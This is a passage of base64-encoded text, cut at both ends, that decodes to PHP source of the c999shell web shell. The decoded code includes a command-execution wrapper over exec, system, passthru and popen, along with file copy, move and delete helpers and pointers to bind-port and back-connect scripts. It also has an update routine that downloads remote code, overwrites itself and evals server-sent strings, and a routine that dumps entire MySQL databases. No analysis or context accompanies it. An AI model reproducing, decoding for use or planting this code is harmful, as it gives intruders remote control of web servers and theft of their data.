dl0pKSB7JCR2ID0gJF9HRVRbJHZdO30KIGlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHskJHYgPSAkX1BP U1RbJHZdO30KfQppZiAoJHNvcnRfc2F2ZSkKewogaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUo InNvcnQiLCRzb3J0KTt9CiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0 Iiwkc3FsX3NvcnQpO30KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyMm1pbmkiKSkKewpmdW5jdGlv biBzdHIybWluaSgkY29udGVudCwkbGVuKQp7CiBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pCiB7 CiAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7CiAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVu KS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOwogfQogZWxzZSB7cmV0dXJuICRjb250ZW50O30K fQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkKewpmdW5jdGlvbiB2aWV3X3NpemUo JHNpemUpCnsKIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gRkFMU0U7fQogZWxzZQogewog IGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEw MCkvMTAwIC4iIEdCIjt9CiAgZWxzZWlmICgkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSByb3VuZCgk c2l6ZS8xMDQ4NTc2KjEwMCkvMTAwIC4iIE1CIjt9CiAgZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNp emUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9CiAgZWxzZSB7JHNpemUgPSAkc2l6 ZSAuICIgQiI7fQogIHJldHVybiAkc2l6ZTsKIH0KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19j b3B5X2RpciIpKQp7CmZ1bmN0aW9uIGZzX2NvcHlfZGlyKCRkLCR0KQp7CiAkZCA9IHN0cl9yZXBsYWNl KCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RP UllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAkaCA9IG9wZW5kaXIoJGQp Owogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYgKCgkbyAhPSAiLiIp IGFuZCAoJG8gIT0gIi4uIikpCiAgewogICBpZiAoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9S LiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NF UEFSQVRPUi4kbyk7fQogICBlbHNlIHskcmV0ID0gbWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4k byk7IGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFS QVRPUi4kbyk7fQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9CiAgfQogfQogY2xvc2VkaXIoJGgp OwogcmV0dXJuIFRSVUU7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkKewpm dW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkKewogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9S WV9TRVBBUkFUT1IsJGQpOwogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1Is JHQpOwogaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB7bWtkaXIoZGlybmFtZSgkdCkpO30KIGlmIChp c19kaXIoJGQpKQogewogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHsk ZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllf U0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgcmV0dXJuIGZzX2NvcHlfZGly KCRkLCR0KTsKIH0KIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHtyZXR1cm4gY29weSgkZCwkdCk7fQogZWxz ZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQp7 CmZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KQp7CiAkaCA9IG9wZW5kaXIoJGQpOwogaWYgKCFpc19k aXIoJHQpKSB7bWtkaXIoJHQpO30KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQog ewogIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKQogIHsKICAgJHJldCA9IFRSVUU7CiAg IGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElS RUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgIGVsc2Uge2lm IChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNU T1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBGQUxTRTt9 fQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcmV0dXJu IFRSVUU7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9vYmoiKSkKewpmdW5jdGlvbiBm c19tb3ZlX29iaigkZCwkdCkKewogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFU T1IsJGQpOwogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogaWYg KGlzX2RpcigkZCkpCiB7CiAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikg eyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9S

WV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICByZXR1cm4gZnNfbW92ZV9k aXIoJGQsJHQpOwogfQogZWxzZWlmIChpc19maWxlKCRkKSkKIHsKICBpZihjb3B5KCRkLCR0KSkge3Jl dHVybiB1bmxpbmsoJGQpO30KICBlbHNlIHt1bmxpbmsoJHQpOyByZXR1cm4gRkFMU0U7fQogfQogZWxz ZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybWRpciIpKQp7CmZ1 bmN0aW9uIGZzX3JtZGlyKCRkKQp7CiAkaCA9IG9wZW5kaXIoJGQpOwogd2hpbGUgKCgkbyA9IHJlYWRk aXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAg ewogICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbmsoJGQuJG8pO30KICAgZWxzZSB7ZnNfcm1kaXIo JGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGlyKCRkLiRvKTt9CiAgfQogfQogY2xvc2VkaXIo JGgpOwogcm1kaXIoJGQpOwogcmV0dXJuICFpc19kaXIoJGQpOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlz dHMoImZzX3Jtb2JqIikpCnsKZnVuY3Rpb24gZnNfcm1vYmooJG8pCnsKICRvID0gc3RyX3JlcGxhY2Uo IlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsKIGlmIChpc19kaXIoJG8pKQogewogIGlmIChzdWJz dHIoJG8sLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskbyAuPSBESVJFQ1RPUllfU0VQQVJBVE9S O30KICByZXR1cm4gZnNfcm1kaXIoJG8pOwogfQogZWxzZWlmIChpc19maWxlKCRvKSkge3JldHVybiB1 bmxpbmsoJG8pO30KIGVsc2Uge3JldHVybiBGQUxTRTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygi bXlzaGVsbGV4ZWMiKSkKewpmdW5jdGlvbiBteXNoZWxsZXhlYygkY21kKQp7CiBnbG9iYWwgJGRpc2Fi bGVmdW5jOwogJHJlc3VsdCA9ICIiOwogaWYgKCFlbXB0eSgkY21kKSkKIHsKICBpZiAoaXNfY2FsbGFi bGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIiwkZGlzYWJsZWZ1bmMpKSB7ZXhlYygkY21kLCRy ZXN1bHQpOyAkcmVzdWx0ID0gam9pbigiXG4iLCRyZXN1bHQpO30KICBlbHNlaWYgKCgkcmVzdWx0ID0g YCRjbWRgKSAhPT0gRkFMU0UpIHt9CiAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFp bl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBv Yl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9j bGVhbigpOyBlY2hvICR2O30KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIpIGFuZCAhaW5f YXJyYXkoInBhc3N0aHJ1IiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBv Yl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9i X2NsZWFuKCk7IGVjaG8gJHY7fQogIGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwi ciIpKSkKICB7CiAgICRyZXN1bHQgPSAiIjsKICAgd2hpbGUoIWZlb2YoJGZwKSkgeyRyZXN1bHQgLj0g ZnJlYWQoJGZwLDEwMjQpO30KICAgcGNsb3NlKCRmcCk7CiAgfQogfQogcmV0dXJuICRyZXN1bHQ7Cn0K fQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidGFic29ydCIpKSB7ZnVuY3Rpb24gdGFic29ydCgkYSwkYikg e2dsb2JhbCAkdjsgcmV0dXJuIHN0cm5hdGNtcCgkYVskdl0sICRiWyR2XSk7fX0KaWYgKCFmdW5jdGlv bl9leGlzdHMoInZpZXdfcGVybXMiKSkKewpmdW5jdGlvbiB2aWV3X3Blcm1zKCRtb2RlKQp7CiBpZiAo KCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAicyI7fQogZWxzZWlmICgoJG1vZGUg JiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICJkIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAw MCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0g MHg4MDAwKSB7JHR5cGUgPSAiLSI7fQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDAp IHskdHlwZSA9ICJiIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBl ID0gImMiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAicCI7 fQogZWxzZSB7JHR5cGUgPSAiPyI7fQoKICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJy IjoiLSI7CiAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiItIjsKICRvd25lclsi ZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7CiAkZ3JvdXBbInJlYWQiXSA9ICgkbW9k ZSAmIDAwMDQwKT8iciI6Ii0iOwogJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3Ijoi LSI7CiAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOwogJHdvcmxkWyJy ZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsKICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAm IDAwMDAyKT8gInciOiItIjsKICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4Ijoi LSI7CgogaWYgKCRtb2RlICYgMHg4MDApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1 dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogaWYgKCRtb2RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUi XSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogaWYgKCRtb2RlICYgMHgyMDAp IHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQoK IHJldHVybiAkdHlwZS5qb2luKCIiLCRvd25lcikuam9pbigiIiwkZ3JvdXApLmpvaW4oIiIsJHdvcmxk KTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXko InBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVp ZCkge3JldHVybiBGQUxTRTt9fQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBh bmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4 X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4 X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raWxsIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24g cG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJz ZV9wZXJtcyIpKQp7CmZ1bmN0aW9uIHBhcnNlX3Blcm1zKCRtb2RlKQp7CiBpZiAoKCRtb2RlICYgMHhD MDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAw eDQwMDApIHskdCA9ICJkIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0 ID0gImwiO30KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQog ZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdCA9ICJiIjt9CiBlbHNlaWYgKCgk

bW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID0gImMiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgx MDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQogZWxzZSB7JHQgPSAiPyI7fQogJG9bInIiXSA9ICgk bW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0g KCRtb2RlICYgMDAxMDApID4gMDsKICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJd ID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7CiAkd1si ciJdID0gKCRtb2RlICYgMDAwMDQpID4gMDsgJHdbInciXSA9ICgkbW9kZSAmIDAwMDAyKSA+IDA7ICR3 WyJ4Il0gPSAoJG1vZGUgJiAwMDAwMSkgPiAwOwogcmV0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywi ZyI9PiRnLCJ3Ij0+JHcpOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlc29ydCIpKQp7CmZ1 bmN0aW9uIHBhcnNlc29ydCgkc29ydCkKewogJG9uZSA9IGludHZhbCgkc29ydCk7CiAkc2Vjb25kID0g c3Vic3RyKCRzb3J0LC0xKTsKIGlmICgkc2Vjb25kICE9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQogcmV0 dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJt c19jb2xvciIpKQp7CmZ1bmN0aW9uIHZpZXdfcGVybXNfY29sb3IoJG8pCnsKIGlmICghaXNfcmVhZGFi bGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykp LiI8L2ZvbnQ+Ijt9CiBlbHNlaWYgKCFpc193cml0YWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9y PXdoaXRlPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQogZWxzZSB7cmV0dXJu ICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30K fQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTk5Z2V0c291cmNlIikpCnsKZnVuY3Rpb24gYzk5OWdl dHNvdXJjZSgkZm4pCnsKIGdsb2JhbCAkYzk5OXNoX3NvdXJjZXN1cmw7CiAkYXJyYXkgPSBhcnJheSgK ICAiYzk5OXNoX2JpbmRwb3J0LnBsIiA9PiAiYzk5OXNoX2JpbmRwb3J0X3BsLnR4dCIsCiAgImM5OTlz aF9iaW5kcG9ydC5jIiA9PiAiYzk5OXNoX2JpbmRwb3J0X2MudHh0IiwKICAiYzk5OXNoX2JhY2tjb25u LnBsIiA9PiAiYzk5OXNoX2JhY2tjb25uX3BsLnR4dCIsCiAgImM5OTlzaF9iYWNrY29ubi5jIiA9PiAi Yzk5OXNoX2JhY2tjb25uX2MudHh0IiwKICAiYzk5OXNoX2RhdGFwaXBlLnBsIiA9PiAiYzk5OXNoX2Rh dGFwaXBlX3BsLnR4dCIsCiAgImM5OTlzaF9kYXRhcGlwZS5jIiA9PiAiYzk5OXNoX2RhdGFwaXBlX2Mu dHh0IiwKICk7CiAkbmFtZSA9ICRhcnJheVskZm5dOwogaWYgKCRuYW1lKSB7cmV0dXJuIGZpbGVfZ2V0 X2NvbnRlbnRzKCRjOTk5c2hfc291cmNlc3VybC4kbmFtZSk7fQogZWxzZSB7cmV0dXJuIEZBTFNFO30K fQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTk5c2hfZ2V0dXBkYXRlIikpCnsKZnVuY3Rpb24gYzk5 OXNoX2dldHVwZGF0ZSgkdXBkYXRlID0gVFJVRSkKewogJHVybCA9ICRHTE9CQUxTWyJjOTk5c2hfdXBk YXRldXJsIl0uIj92ZXJzaW9uPSIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoJEdMT0JBTFNbInNodmVy Il0pKS4iJnVwZGF0ZW5vdz0iLigkdXBkYXRlbm93PyIxIjoiMCIpLiImIjsKICRkYXRhID0gQGZpbGVf Z2V0X2NvbnRlbnRzKCR1cmwpOwogaWYgKCEkZGF0YSkge3JldHVybiAiQ2FuJ3QgY29ubmVjdCB0byB1 cGRhdGUtc2VydmVyISI7fQogZWxzZQogewogICRkYXRhID0gbHRyaW0oJGRhdGEpOwogICRzdHJpbmcg PSBzdWJzdHIoJGRhdGEsMyxvcmQoJGRhdGF7Mn0pKTsKICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFu ZCAkZGF0YXsxfSA9PSAiXHgwMSIpIHtyZXR1cm4gIkVycm9yOiAiLiRzdHJpbmc7IHJldHVybiBGQUxT RTt9CiAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDIiKSB7cmV0dXJu ICJZb3UgYXJlIHVzaW5nIGxhdGVzdCB2ZXJzaW9uISI7fQogIGlmICgkZGF0YXswfSA9PSAiXHg5OSIg YW5kICRkYXRhezF9ID09ICJceDAzIikKICB7CiAgICRzdHJpbmcgPSBleHBsb2RlKCJceDAxIiwkc3Ry aW5nKTsKICAgaWYgKCR1cGRhdGUpCiAgIHsKICAgICRjb25mdmFycyA9IGFycmF5KCk7CiAgICAkc291 cmNldXJsID0gJHN0cmluZ1swXTsKICAgICRzb3VyY2UgPSBmaWxlX2dldF9jb250ZW50cygkc291cmNl dXJsKTsKICAgIGlmICghJHNvdXJjZSkge3JldHVybiAiQ2FuJ3QgZmV0Y2ggdXBkYXRlISI7fQogICAg ZWxzZQogICAgewogICAgICRmcCA9IGZvcGVuKF9fRklMRV9fLCJ3Iik7CiAgICAgaWYgKCEkZnApIHty ZXR1cm4gIkxvY2FsIGVycm9yOiBjYW4ndCB3cml0ZSB1cGRhdGUgdG8gIi5fX0ZJTEVfXy4iISBZb3Ug bWF5IGRvd25sb2FkIGM5OTlzaGVsbC5waHAgbWFudWFsbHkgPGEgaHJlZj1cIiIuJHNvdXJjZXVybC4i XCI+PHU+aGVyZTwvdT48L2E+LiI7fQogICAgIGVsc2Uge2Z3cml0ZSgkZnAsJHNvdXJjZSk7IGZjbG9z ZSgkZnApOyByZXR1cm4gIlRoYW5rcyEgVXBkYXRlZCB3aXRoIHN1Y2Nlc3MuIjt9CiAgICB9CiAgIH0K ICAgZWxzZSB7cmV0dXJuICJOZXcgdmVyc2lvbiBhcmUgYXZhaWxhYmxlOiAiLiRzdHJpbmdbMV07fQog IH0KICBlbHNlaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDQiKSB7ZXZh bCgkc3RyaW5nKTsgcmV0dXJuIDE7fQogIGVsc2Uge3JldHVybiAiRXJyb3IgaW4gcHJvdG9jb2w6IHNl Z21lbnRhdGlvbiBmYWlsZWQhICgiLiRkYXRhLiIpICI7fQogfQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlz dHMoIm15c3FsX2R1bXAiKSkKewpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpCnsKIGdsb2JhbCAkc2h2 ZXI7CiAkc29jayA9ICRzZXRbInNvY2siXTsKICRkYiA9ICRzZXRbImRiIl07CiAkcHJpbnQgPSAkc2V0 WyJwcmludCJdOwogJG5sMmJyID0gJHNldFsibmwyYnIiXTsKICRmaWxlID0gJHNldFsiZmlsZSJdOwog JGFkZF9kcm9wID0gJHNldFsiYWRkX2Ryb3AiXTsKICR0YWJzID0gJHNldFsidGFicyJdOwogJG9ubHl0 YWJzID0gJHNldFsib25seXRhYnMiXTsKICRyZXQgPSBhcnJheSgpOwogJHJldFsiZXJyIl0gPSBhcnJh eSgpOwogaWYgKCFpc19yZXNvdXJjZSgkc29jaykpIHtlY2hvKCJFcnJvcjogXCRzb2NrIGlzIG5vdCB2 YWxpZCByZXNvdXJjZS4iKTt9CiBpZiAoZW1wdHkoJGRiKSkgeyRkYiA9ICJkYiI7fQogaWYgKGVtcHR5 KCRwcmludCkpIHskcHJpbnQgPSAwO30KIGlmIChlbXB0eSgkbmwyYnIpKSB7JG5sMmJyID0gMDt9CiBp ZiAoZW1wdHkoJGFkZF9kcm9wKSkgeyRhZGRfZHJvcCA9IFRSVUU7fQogaWYgKGVtcHR5KCRmaWxlKSkK IHsKICAkZmlsZSA9ICR0bXBkaXIuImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRkYi4i XyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7CiB9CiBpZiAoIWlzX2FycmF5KCR0YWJzKSkgeyR0 YWJzID0gYXJyYXkoKTt9CiBpZiAoZW1wdHkoJGFkZF9kcm9wKSkgeyRhZGRfZHJvcCA9IFRSVUU7fQog

aWYgKHNpemVvZigkdGFicykgPT0gMCkKIHsKICAvLyByZXRyaXZlIHRhYmxlcy1saXN0CiAgJHJlcyA9 IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7CiAgaWYgKG15c3FsX251 bV9yb3dzKCRyZXMpID4gMCkge3doaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpKSB7JHRh YnNbXSA9ICRyb3dbMF07fX0KIH0KICRvdXQgPSAiIyBEdW1wZWQgYnkgYzk5OVNoZWxsLlNRTCB2LiAi LiRzaHZlci4iCiMgSG9tZSBwYWdlOiBodHRwOi8vY2N0ZWFtLnJ1CiMKIyBIb3N0IHNldHRpbmdzOgoj IE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5n ZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiIKIyBEYXRl OiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIgojIERCOiBcIiIuJGRiLiJcIgojLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiI7CiAkYyA9IGNvdW50KCRv bmx5dGFicyk7CiBmb3JlYWNoKCR0YWJzIGFzICR0YWIpCiB7CiAgaWYgKChpbl9hcnJheSgkdGFiLCRv bmx5dGFicykpIG9yICghJGMpKQogIHsKICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFC TEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30KICAgLy8gcmVjaWV2ZSBxdWVyeSBmb3IgY3JlYXRl IHRhYmxlIHN0cnVjdHVyZQogICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAi LiR0YWIuImAiLCAkc29jayk7CiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFy dGVycm9yKCk7fQogICBlbHNlCiAgIHsKICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7CiAg ICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOwogICAgLy8gcmVjaWV2ZSB0YWJsZSB2YXJpYWJsZXMK ICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7CiAgICBp ZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKQogICAgewogICAgIHdoaWxlICgkcm93ID0gbXlzcWxf ZmV0Y2hfYXNzb2MoJHJlcykpCiAgICAgewogICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJh eV9rZXlzKCRyb3cpKTsKICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKICAgICAgZm9y ZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQogICAg ICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwogICAgICAkc3FsID0gIklOU0VSVCBJ TlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7CiAgICAgICRv dXQgLj0gJHNxbDsKICAgICB9CiAgICB9CiAgIH0KICB9CiB9CiAkb3V0IC49ICIjLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tXG5cbiI7CiBpZiAoJGZpbGUpCiB7CiAgJGZwID0gZm9wZW4oJGZpbGUsICJ3Iik7CiAg aWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CiAgZWxzZQogIHsKICAgZndyaXRlICgkZnAsICRv dXQpOwogICBmY2xvc2UgKCRmcCk7CiAgfQogfQogaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hv IG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CiByZXR1cm4gJG91dDsKfQp9CmlmICghZnVu Y3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpCnsKZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVy ZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKQp7CiBpZiAoIWlzX2FycmF5KCRhcnJh 